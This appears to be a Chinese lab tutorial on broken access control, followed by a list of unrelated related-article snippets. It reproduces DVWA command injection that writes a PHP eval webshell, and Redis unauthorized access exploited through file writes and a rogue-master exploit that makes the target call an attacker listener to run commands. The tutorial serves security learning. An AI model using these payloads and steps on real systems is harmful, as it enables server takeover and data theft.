失效的访问控制及漏洞复现
失效的访问控制(越权)
1. 失效的访问控制(越权)
1.1 OWASP TOP10
1.1.1 A5:2017-Broken Access Control
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
1.1.2 A01:2021-Broken Access Control
访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。
1.2 失效的访问控制类别
权限移动方向
1.2.1 水平越权
越权:大概率指的是在同级别账户之间横向移动,并且大概率指的是web应用
1.2.2 垂直越权
提权:大概率指的是操作系统漏洞提权,普通用户获取管理员权限
1.3 攻防案例
1.3.1 DVWA越权
POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
Connection: close
Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded Content-Length: 77ip=127.0.0.0.1|echo+"<?php+@eval($_REQUEST[777])?>"+>+shell.php&Submit=Submit
1.3.1.1 实操
在部署了DVWA的服务器中打开C盘->打开phpstudy->打开WWW->打开DV,我们关心的是config(全局配置),hackable(在hackable中有flags<被包含的文件>,upload<上传的文件>),vulnerabilities(漏洞点)
启动bp,打开浏览器访问DVWA,点击命令注入(Commod Injection) 进行命令注入,输入127.0.0.1
使用bp进行抓包,抓取命令注入的数据包,发送重发器
发现结果执行了ping命令,ping的是127.0.0.1,说明此处有命令拼接,可执行额外的命令。做命令拼接执行命令的逻辑
command1 & command2 #执行command1命令没有问题的时候再执行command2
command1 | command2 #管道符执行command1的结果作为command2的输入
command1 || command2 #command1执行失败则执行command2,command1执行成功则不执行command2
command1 ; command2 #command1执行结束再执行command2
执行额外命令,使用&进行分隔因为原本数据包中已有&,那么进行命令分隔的&需要进行url编码,选中分隔命令的&按Ctrl+u
点击发送(send)
发现cookie中security的值是low,说明是初级的;承载初级的脚本在vulnerabilities下的exec中的source文件中
打开low.php查看源代码,整个文件没有做访问控制限制,也就是说在退出登录的情况下依然能访问low.php。
复制low.php的路径,退出DVWA登陆,访问
http://192.168.16.136/dv/vulnerabilities/exec/source/low.php
界面为空,针对这个界面就可以进行命令执行。bp找到当前页面的数据包,发送重发器,点击发送(send),页面没有做任何响应。
删除cookie并将数据提交方式改为POST(右键点击Change request method)同时传两个变量:ip=127.0.0.1%26whoami&Submit=Submit
。首先给一个submit保证绕过low.php代码中的if判断,再给个IP就可以进行ping命令的拼接。但是数据包的响应无回显。
返回的结果也无法判断命令执行成功与否,将whoami命令更换为calc(打开计算器),部署dvwa靶场的服务器中弹出计算器,说明命令执行成功。
dvwa要求是需要用户登录的情况下才能回答dvwa里的题目,但是我们刚才的操作时不用登录就回答了dvwa里的题目,虽然没有回显,但是漏洞检测的时候只关心命令是否执行,只要命令执行了,不管有没有回显就说明此处就是未授权访问漏洞(失效的访问控制。)
1.3.1.2 使用漏洞写webshell
执行
echo xujie >xujie.txt
来到/exec/source目录下,有新建的xujie.txt文件。
一般在目标某一目录下新建文件,动作会比较大,使用dnslog.cn平台点击创建域名,对域名进行解析
nslookup 域名
解析完成后查看dnslog.cn平台有没有解析记录,如果有解析记录说明nslookup执行成功了。
创建一句话木马
echo "<?php @eval($_REQUEST[777])?>" >shell.php
访问shell.php,然后使用蚁剑连接
1.4 相关漏洞
1.4.1 目录遍历
目录穿越,目录遍历,Directory Traversal。.Web用户,通过某种方式,可以访问Web根目录以外的文件甚至执行系统命令。
造成目录遍历漏洞的原因:
- 文件包含
- 文件读取
- RCE
1.4.2 未授权访问
未授权访问,Unauthorized Access。==重要资产根本没有做访问控制限制,==导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作。
2. 未授权访问
2.1 Redis 未授权访问
不使用账号密码的情况下访问数据库,Redis 未授权:由于数据库未授权访问了,导致敏感数据泄露;数据库能够读写文件,利用未授权访问漏洞进行漏洞攻击的话就可以去写shell,创建SSH公钥,计划任务反弹shell;
2.1.1 Redis 介绍
Redis是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。
Redis数据库经常用于Web应用的缓存。
Redis可以与文件系统进行交互。
Redis监听TCP/6379
Redis数据库端口号:6379
2.1.2 Redis 简单使用
Redis 未设置密码,客户端工具可以直接链接。
┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name AJEST OK
127.0.0.1:6379> get name "AJEST"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename ajest.txt OK
127.0.0.1:6379> save OK
127.0.0.1:6379>
2.1.3 Redis 未授权访问
读取数据库内容 | 读写系统文件 | 执行系统命令 |
---|---|---|
数据泄露 | 直接写WebShell 计划任务反弹shell SSH免密登录 | redis-rogue-getshell |
2.2 Redis 实操
2.2.1 环境搭建
CD到/vulhub/redis/4-unacc目录下,输入
sudo docker-compose up -d
打开Redis环境
2.2.2 漏洞利用
sudo docker ps -a
查看端口号
输入
redis-cli -h 127.0.0.1 #-h指定参数,连接本机的reids数据库
在没有账号密码的情况下直接连上了redis数据库。说明数据库存在未授权访问漏洞。
redis数据库是以键值对进行存储数据的。就可以将redis数据库想象成一个超大的数组。redis数据库经常做缓存。
config set dir /tmp/
config set dbfilename xujie.txt #将数据库存储在xujie.txt文件中,这个文件在tmp下
因为连接的是docker容器的数据库,CD到容器中查看创建的数据库是否存在。
sudo docker exec -it 9a4f956818dc /bin/bash #-it是指容器的id,/bin/bash是指登录到9a4f956818dc这个容器
为了证明创建的数据库是否存在并且具有读写权限。
ls /tmp
cat /tmp/xujie.txt
4-unacc存在主从复制漏洞,而主从复制是可以执行系统命令的,执行系统命令需要一个Exploit脚本
cd tools
proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell
cd RedisModulesSDK
make
cd ..
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "id"
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
此处可以针对数据库的漏洞进行漏洞利用
2.2.3 漏洞检测
利用工具unauthorized用与检测未授权访问漏洞。一共提供了三十八种漏洞检测
cd ~/tools
ls
cd unauthorized_com
python3 unauthorized_com.py -i 127.0.0.1
相关文章:

失效的访问控制及漏洞复现
失效的访问控制(越权) 1. 失效的访问控制(越权) 1.1 OWASP TOP10 1.1.1 A5:2017-Broken Access Control 未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其…...

MLOps:掌握机器学习部署:Docker、Kubernetes、Helm 现代 Web 框架
介绍: 在机器学习的动态世界中,从开发模型到将其投入生产的过程通常被认为是复杂且多方面的。 然而,随着 Docker、Kubernetes 等工具以及 FastAPI、Streamlit 和 Gradio 等用户友好的 Web 框架的出现,这一过程变得比以往更加简化…...

Python标识符命名规范
简单地理解,标识符就是一个名字,就好像我们每个人都有属于自己的名字,它的主要作用就是作为变量、函数、类、模块以及其他对象的名称。 Python 中标识符的命名不是随意的,而是要遵守一定的命令规则,比如说:…...
对 fastq 和 bam 进行 downsample
对 fastq 和 bam 进行 downsample 一、Fastq1、seqtk二、Bam1、samtools2、Picard DownsampleSam3、比较 并行采样模板 一、Fastq 1、seqtk Seqtk 是一种快速轻量级的工具,用于处理 FASTA 或 FASTQ 格式的序列。 它可以无缝解析 FASTA 和 FASTQ 文件,这…...
网络爬虫:如何有效的检测分布式爬虫
分布式爬虫是一种高效的爬虫方式,它可以将爬虫任务分配给多个节点同时执行,从而加快爬虫的速度。然而,分布式爬虫也容易被目标网站识别为恶意行为,从而导致IP被封禁。那么,如何有效地检测分布式爬虫呢?本文…...

elementUI可拖拉宽度抽屉
1,需求: 在elementUI的抽屉基础上,添加可拖动侧边栏宽度的功能,实现效果如下: 2,在原组件上添加自定义命令 <el-drawer v-drawerDrag"left" :visible.sync"drawerVisible" direc…...
OpenPCDet系列 | 8.4 nuScenes数据集数据调用和数据分析
文章目录 1. 对数据集遍历1.1 统计mini版本的nuScenes各模态数据和关键帧的数量1.2 单独遍历lidar模态数据1.3 遍历scene统计数据1.4 遍历sample统计数据1.5 遍历sample_data统计数据1.6 数据集的底层结构2. 对数据集可视化2.1 render_sample和render_sample_data2.2 nusc.rend…...
WeiTitlePopupWindow
目录 1 WeiTitlePopupWindow 1.1 // 设置可点击 1.2 // 设置弹窗外可点击 1.3 // 设置弹窗宽度和高度 1.4 // 设置弹窗布局界面 WeiTitlePopupWindow // 设置可点击setTouchable(true);...

qemu/kvm学习笔记
qemu/kvm架构 cpu虚拟化的示例 Reference: kvmtest.c [LWN.net] 主要步骤: QEMU通过/dev/kvm设备文件发起KVM_CREATE_VM ioctl,请求KVM创建一个虚拟机。KVM创建虚拟机相应的结构体,并为QEMU返回一个虚拟机文件描述符QEMU通过虚拟机文件描述…...

android 车载widget小部件部分详细源码实战开发-千里马车载车机framework开发实战课程
官网参考链接:https://developer.android.google.cn/develop/ui/views/appwidgets/overview 1、什么是小部件 App widgets are miniature application views that can be embedded in other applications (such as the home screen) and receive periodic updates…...

如何使用CSS画一个三角形
原理:其实就是规定元素的四个边框颜色及边框宽度,将元素宽高设置为0。如果要哪个方向的三角形,将对应其他三个方向的边框宽和颜色设置为0和透明transparent即可 1.元素设置边框,宽高,背景色 <style>.border {w…...

第15章_锁: (表级锁、页级锁、行锁、悲观锁、乐观锁、全局锁、死锁)
3.2 从数据操作的粒度划分:表级锁、页级锁、行锁 为了提高数据库并发度,每次锁定的数据范围越小越好,理论上每次只锁定当前操作的数据的方案会得到最大的并发度,但管理锁是很耗资源(涉及获取、检查、释放锁等动作)。因…...
python音频转文字调用baidu
python音频转文字调用的是百度智能云的接口,因业务需求会涉及比较多数字,所以这里做了数字的处理,可根据自己的需求修改。 from flask import Flask, request, jsonify import requestsfrom flask_limiter import Limiterapp Flask(__name_…...

靶场溯源第二题
关卡描述:1. 网站后台登陆地址是多少?(相对路径) 首先这种确定的网站访问的都是http或者https协议,搜索http看看。关于http的就这两个信息,然后172.16.60.199出现最多,先过滤这个ip看看 这个很…...

mysql 的增删改查以及模糊查询、字符集语句的使用
一、mysql启动与登陆(windows下的mysql操作) 1.启动mysql服务 net start mysql81 2.登陆mysql mysql -uroot -p 3.查看所有数据库 show databases; 二、模糊查询(like) 1. _代表查询单个 2.%代表查询多个 3.查找所有含有schema的数据库;…...
Python Django框架中文教程:学习简单、灵活、高效的Web应用程序框架
概述: Python Django是一种流行的Web应用程序框架,被广泛应用于开发高效、可扩展的网站和Web应用程序。Django以其简单、灵活和高效而受到开发者们的青睐。它提供了强大的工具和功能,使开发过程更加容易和高效。 Django的主要目标是帮助开发者快速构建…...

Docker认识即安装
Docker及相关概念 Docker和虚拟机方式的区别:虚拟机技术是虚拟出一套硬件后,在其上运行一个完整的操作系统,在该系统上在运行所需应用进程;而容器内的应用进程是直接运行于宿主的内核,容器内没有自己的内核࿰…...

chrome 谷歌浏览器 导出插件拓展和导入插件拓展
给同事部署 微软 RPA时,需要用到对应的chrome浏览器插件;谷歌浏览器没有外网是不能直接下载拓展弄了半小时后才弄好,竟发现没有现成的教程,遂补充; 如何打包导出 谷歌浏览器 地址栏敲 chrome://extensions/在对应的地…...

fastjson漏洞批量检测工具
JsonExp 简介 版本:1.3.5 1. 根据现有payload,检测目标是否存在fastjson或jackson漏洞(工具仅用于检测漏洞)2. 若存在漏洞,可根据对应payload进行后渗透利用3. 若出现新的漏洞时,可将最新的payload新增至…...

Vue进阶(六十七)页面刷新路由传参丢失问题分析及解决
文章目录 一、前言二、问题排查三、延伸阅读3.1 Apache服务器access_log日志3.2 浏览器的常见User Agent 各字段的解释 一、前言 问题描述:Vue项目上线后,在IE浏览器上,从A页面跳转至B页面,B页面通过data中接收来自A页面的参数信…...
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...

从WWDC看苹果产品发展的规律
WWDC 是苹果公司一年一度面向全球开发者的盛会,其主题演讲展现了苹果在产品设计、技术路线、用户体验和生态系统构建上的核心理念与演进脉络。我们借助 ChatGPT Deep Research 工具,对过去十年 WWDC 主题演讲内容进行了系统化分析,形成了这份…...

python/java环境配置
环境变量放一起 python: 1.首先下载Python Python下载地址:Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个,然后自定义,全选 可以把前4个选上 3.环境配置 1)搜高级系统设置 2…...

vscode(仍待补充)
写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh? debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...
将对透视变换后的图像使用Otsu进行阈值化,来分离黑色和白色像素。这句话中的Otsu是什么意思?
Otsu 是一种自动阈值化方法,用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理,能够自动确定一个阈值,将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...
区块链技术概述
区块链技术是一种去中心化、分布式账本技术,通过密码学、共识机制和智能合约等核心组件,实现数据不可篡改、透明可追溯的系统。 一、核心技术 1. 去中心化 特点:数据存储在网络中的多个节点(计算机),而非…...
Java详解LeetCode 热题 100(26):LeetCode 142. 环形链表 II(Linked List Cycle II)详解
文章目录 1. 题目描述1.1 链表节点定义 2. 理解题目2.1 问题可视化2.2 核心挑战 3. 解法一:HashSet 标记访问法3.1 算法思路3.2 Java代码实现3.3 详细执行过程演示3.4 执行结果示例3.5 复杂度分析3.6 优缺点分析 4. 解法二:Floyd 快慢指针法(…...

Redis上篇--知识点总结
Redis上篇–解析 本文大部分知识整理自网上,在正文结束后都会附上参考地址。如果想要深入或者详细学习可以通过文末链接跳转学习。 1. 基本介绍 Redis 是一个开源的、高性能的 内存键值数据库,Redis 的键值对中的 key 就是字符串对象,而 val…...
Electron简介(附电子书学习资料)
一、什么是Electron? Electron 是一个由 GitHub 开发的 开源框架,允许开发者使用 Web技术(HTML、CSS、JavaScript) 构建跨平台的桌面应用程序(Windows、macOS、Linux)。它将 Chromium浏览器内核 和 Node.j…...